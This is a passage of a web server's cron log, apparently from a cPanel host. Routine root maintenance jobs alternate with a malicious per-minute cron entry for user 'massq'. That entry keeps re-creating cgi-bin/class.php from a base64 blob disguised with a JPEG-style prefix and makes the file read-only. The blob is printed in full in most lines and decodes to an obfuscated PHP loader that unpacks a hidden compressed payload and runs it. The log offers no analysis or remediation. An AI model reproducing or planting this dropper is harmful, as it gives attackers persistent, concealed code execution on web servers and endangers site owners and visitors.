&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:55:01 server CROND[7199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:55:01 server CROND[7200]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:55:01 server CROND[7201]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:56:01 server CROND[8127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:57:01 server CROND[9035]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 13:57:01 server CROND[9036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:58:01 server CROND[9345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:59:01 server CROND[10085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:00:01 server CROND[10905]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:00:01 server CROND[10906]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 14:00:01 server CROND[10907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:00:01 server CROND[10914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:00:01 server CROND[10912]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 14:01:01 server CROND[11895]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:01:01 server CROND[11896]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 14:01:01 server run-parts(/etc/cron.hourly)[11896]: starting 0anacron
Nov 14 14:01:01 server run-parts(/etc/cron.hourly)[11908]: finished 0anacron
Nov 14 14:02:01 server CROND[12489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:03:01 server CROND[13411]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:04:01 server CROND[14334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:05:01 server CROND[15281]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 14:05:01 server CROND[15283]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 14 14:05:01 server CROND[15284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:05:01 server CROND[15285]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:05:01 server CROND[15286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:06:01 server CROND[16214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
